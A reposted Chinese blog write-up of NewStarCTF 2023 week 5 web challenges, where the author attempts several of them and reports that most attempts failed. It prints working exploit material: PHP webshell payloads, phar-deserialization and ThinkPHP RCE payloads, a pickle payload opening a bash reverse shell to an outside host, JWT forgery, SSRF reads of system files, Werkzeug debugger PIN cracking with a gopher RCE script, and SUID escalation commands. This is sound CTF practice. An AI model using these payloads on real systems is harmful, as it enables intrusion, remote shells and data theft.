0


NewStarCTF 2023 week5--web

Unserialize Again

f12告诉了我们cookie, 查看一下,可以发现 pairing.php

 <?php
highlight_file(__FILE__);
error_reporting(0);  
class story{
    private $user='admin';
    public $pass;
    public $eating;
    public $God='false';
    public function __wakeup(){
        $this->user='human';
        if(1==1){
            die();
        }
        if(1!=1){
            echo $fffflag;
        }
    }
    public function __construct(){
        $this->user='AshenOne';
        $this->eating='fire';
        die();
    }
    public function __tostring(){
        return $this->user.$this->pass;
    }
    public function __invoke(){
        if($this->user=='admin'&&$this->pass=='admin'){
            echo $nothing;
        }
    }
    public function __destruct(){
        if($this->God=='true'&&$this->user=='admin'){
            system($this->eating);
        }
        else{
            die('Get Out!');
        }
    }
}                 
if(isset($_GET['pear'])&&isset($_GET['apple'])){
    // $Eden=new story();
    $pear=$_GET['pear'];
    $Adam=$_GET['apple'];
    $file=file_get_contents('php://input');
    file_put_contents($pear,urldecode($file));
    file_exists($Adam);
}
else{
    echo '多吃雪梨';
} 多吃雪梨

法一:(非预期)

不管前面的反序列化,直接利用 php://input ,猜测路径为var/www/html
GET: ?pear=/var/www/html/1.php&apple=1
POST: <?php eval($_POST['cmd']);?> urlencode一下
可以发现可以访问1.php ,

但是 cmd=phpinfo(); 却没有反应,啥也没有,不知道为啥,看别人的博客应该是可以的

尝试尝试传一个 1.txt, 里面的内容也可以显示出来啊

不晓得为啥1.php就是无法执行命令, 蚁剑也连不上,可能哪里出问题了 哎,太菜了

法二:

phar反序列化, file_exists()参数可控, 配合phar://伪协议 进行反序列化

需要利用的

生成phar文件:

<?php
class story{
    public $God='true';
    public  $eating='ls /';
}

$phar=new Phar('1.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$a=new story();
$phar->setMetadata($a);
$phar->addFromString('1.txt','test');
$phar->stopBuffering();

需要绕过

__wakeup() 在记事本中打开生成的phar文件,修改一下相关的数字,改大一点

因为文件的内容改了,所以签名也需要换一个
相关的脚本

from hashlib import sha256

with open("1.phar", 'rb') as file:
    f = file.read()
    s = f[:-40]
    h = f[-8:] 
    newf = s + sha256(s).digest() + h  
with open('newtest.phar', 'wb') as file:
    file.write(newf)

利用python直接传

import urllib.parse
import requests

url='http://ba0133bd-772b-45c9-bcb2-3dbf95a23a5d.node5.buuoj.cn:81/pairing.php'
params={
    'pear':'1.phar','apple':'phar://1.phar'
}
with open('newtest.phar','rb') as f:
    f=f.read()
    data=urllib.parse.quote(f)
    # print(data)
    res=requests.post(url=url,data=data,params=params)
    # print(res.text)


没有成功,
想着直接将urlencode 后的数据直接放在浏览器POST里面传参,但也没成功,
bp抓包传, 也没成功, 真有点不理解了,已经懵了
流程应该是这么个流程, 也不晓得中间哪个过程搞错了还是咋的, 一直弄不了

先放这里吧, 哎!

Final

thinkphp的版本漏洞,先搜一下5.0的漏洞

网上搜到的一个, 但是用不了,可能具体的版本不一样,尝试使它报错,得到具体的版本情况

随便仿照写一个 /index.php?s=1
可以发现具体的版本,再搜索一下
https://www.cnblogs.com/--kisaragi--/p/15315131.html

要利用的漏洞点

可以看到执行了 phpinfo 函数

但是这里禁用了system函数,

离谱了,之前都还行,现在环境又不行了 , 一样的参数, 我真服了, 重启也不行

后面应该就是写马了 ,因为被禁用了system函数, 利用exec函数进行写马, 然后蚁剑连接
_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo '<?php eval($_POST['cmd']);?>' > /var/www/public/1.php

不过最后还需要suid提权, 使用这个命令寻找相关具有suid权限的命令

find / -user root -perm -4000 -print 2>/dev/nul

附上别人的几张张图, 可以用cp命令
**

/dev/stdout

**:标准输出
直接将具有flag内容的文件复制到终端输出

流程应该是这么个流程, 环境可能有点问题, 没有复现出来

Ye's Pickle

app.py

# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
app = Flask(__name__)

def generate_random_string(length=16):
    characters = string.ascii_letters + string.digits  # 包含字母和数字
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string
app.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)
@app.route("/")
def index():
    payload=request.args.get("token")
    if payload:
        token=verify_jwt(payload, key, ['PS256'])
        session["role"]=token[1]['role']
        return render_template('index.html')
    else:
        session["role"]="guest"
        user={"username":"boogipop","role":"guest"}
        jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))
        return render_template('index.html',token=jwt)

@app.route("/pickle")
def unser():
    if session["role"]=="admin":
        pickle.loads(base64.b64decode(request.args.get("pickle")))
        return render_template("index.html")
    else:
        return render_template("index.html")
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)

需要伪造jwt
使得 session['role']=='admin'
这个伪造的有点懵, 有点没怎么理解

import base64
from datetime import timedelta
from json import loads, dumps
from jwcrypto.common import base64url_decode, base64url_encode

def topic(topic):
    """ Use mix of JSON and compact format to insert forged claims including long expiration """
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    parsed_payload['role'] = 'admin'
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'

originaltoken ='eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MjA1OTk4OTAsImlhdCI6MTcyMDU5NjI5MCwianRpIjoiOGNmaV9BRWRsY3ViM1hsajJ5M0MwdyIsIm5iZiI6MTcyMDU5NjI5MCwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.Jkr3-2vXnQIpAtpuxHbvgcK0z2vFa-LOanqQLOtGutNH_5aeORAw6yryHUvvFFckzaTAoIakk0s-90RtnSJdYozK0LgJr64drolvvuqKtpjuaaLTT4yIXR63VcjMuGdCl3jLioUpnVOgq_v_JIyZ4OA9uRaUnGzCiX8Q-CJKPu9AAMNFFlBCsbTVS2iEqOj2SGap4jlfSSJVQpd4syJREQCOE2RfYFwLRZ9S6IzkUH_wJbRnxrKi7uCGUimIp4oC2qmnqp8CvhoLQVKHtDL6OmSRetIqI_YVh7z8WNjMshZvJzjMNB4ZyMrpW5NNJ7IHNqzaE_2InvtzUJGxFuSAjA'
topic = topic(originaltoken)
print(topic)

?token=得到的结果
然后再进入 /pickle路由 进行pickle反序列化

import base64
opcode=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'"
tR.
'''
print(base64.b64encode(opcode))

看了一下session已经是admin了啊,
但用自己的服务器总是没能反弹shell成功, 一直连不上

又没能复现成功,不过多了解了一下jwt的伪造 和 pickle反序列化也还行

pickle反序列化初探 - 先知社区

pppython?

<?php
    
    if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]){
        header("Content-type: text/plain");
        system("ls / -la");
        exit();
    }
    
    try {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);
        $output = curl_exec($ch);
        echo $output;
        curl_close($ch);   
    }catch (Error $x){
        highlight_file(__FILE__);
        highlight_string($x->getMessage());
    }

?>

根据要求传参 :?hint[0]=your?&hint[1]=mine!&hint[2]=hint!!
可以执行命令 ls / -la 列出目录及权限

注意lolita需要传参一个数组

前面所列出来的目录里面有个 app.py文件 尝试读取
ssrf漏洞 , 利用file://协议读取文件

from flask import Flask, request, session, render_template, render_template_string
import os, base64
#from NeepuF1Le import neepu_files

app = Flask(__name__)

app.config['SECRET_KEY'] = '******'
@app.route('/')
def welcome():
    if session["islogin"] == True:
        return "flag{***********************}"

    

app.run('0.0.0.0', 1314, debug=True)1

想着伪造session得到flag, 但好像伪造不了
又可以看到开启了debug, 可以计算pin值 ,进入到 /console 里面

依旧是利用file://协议 去读取所需要的文件

首先用户名 : root (前面执行的 ls 那块的命令可以猜测出)
modname 一般默认为 flask.app
appname 一般默认为 flask
app.py的绝对路径一般是通过报错得到,但这里好像无法得到
通过进入到debug里面得到 : /usr/local/lib/python3.10/dist-packages/flask/app.py

?url=file:///sys/class/net/eth0/address&lolita[]=
网卡的mac地址:(转十进制)
709723444170211

machine-id是由两个值拼接的:
?url=file:///proc/sys/kernel/random/boot_id&lolita[]=
aac85635-508f-4b5b-be84-c1a02d61f9f7

?url=file:///proc/self/cgroup&lolita[]=
cri-containerd-6c00d510dbe08bb97a736ca2f55e2d44366e57395f8ac2c1f212517883888c02.scope

题目应该出了点问题吧, 理论上不是应该是有个docker啥的啊
比如别人读取的文件, 应该是要有个docker然后再是后面的数字啊, 有点懵,感觉应该是环境变了

然后就是根据得到的信息计算pin值
直接拿别人的,改一下里面相应的值就行

import hashlib
from itertools import chain
import time
probably_public_bits = [
    'root'  
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '709723444170211',
    'aac85635-508f-4b5b-be84-c1a02d61f9f7cri-containerd-6c00d510dbe08bb97a736ca2f55e2d44366e57395f8ac2c1f212517883888c02.scope'
    '8cab9c97-85be-4fb4-9d17-29335d7b2b8adocker-de0acd954e28d766468f4c4108e32529318e5e4048153309680469d179d6ceac.scope'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]

print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")

后面的一些步骤就有点看不懂了,唉, 又没能复现出来
看这篇文章
NewStarCTF 2023 公开赛道 Web_[newstarctf 2023 公开赛道]genshin-CSDN博客

frm的值为0, 因为没有报错

访问一下console,获取s值

?url=http://localhost:1314/console&lolita[]=

 s=Khhv9IfiCVDYPR2GvauW

得用gopher协议来打,实现rce,脚本:

import urllib.parse
import urllib.request

cmd = 'whoami'
s = "KsDz7oqmCrFx5nOp8vKz"
host = "127.0.0.1:1314"
# cookie = "__wzddde03e10368497982792=1698651626|c9f35062072d"
pin = "113-575-700"
poc = f"""GET http://127.0.0.1:1314/console?&__debugger__=yes&pin={pin}&cmd={cmd}&frm=0&s={s} HTTP/1.1
Host: {host}
Connection: close
"""

new_poc = urllib.parse.quote(poc).replace('%0A', '%0D%0A')
res = f'gopher://{host}/_' + new_poc
print(urllib.parse.quote(res))

4-复盘

  <?php 
        if (isset($_GET['page'])) {
          $page ='pages/' .$_GET['page'].'.php';

        }else{
          $page = 'pages/dashboard.php';
        }
        if (file_exists($page)) {
          require_once $page; 
        }else{
          require_once 'pages/error_page.php';
        }
 ?>

可以文件包含, 利用 pearcmd.php本地文件包含 写shell
payload:(套路格式)

?+config-create+/&page=../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+1.php
蚁剑连接之后会发现无法读取flag, 权限不够, 需要suid提权
使用gzip命令提权
gzip -f /flag -t
可以得到flag

NewStarCTF 2023 公开赛道 Web_[newstarctf 2023 公开赛道]genshin-CSDN博客

https://www.cnblogs.com/EddieMurphy-blogs/p/17813704.html
NewStarCtf 2023 week3&week4&week5 web部分题目复现_newstarctf include 馃崘-CSDN博客

[NewStarCTF 2023] web题解_ctf web题 发现多个公司员工email-CSDN博客

标签: ctf web php

本文转载自: https://blog.csdn.net/2302_80472909/article/details/140250653
版权归原作者 pwfortune 所有, 如有侵权,请联系我们删除。

“NewStarCTF 2023 week5--web”的评论:

还没有评论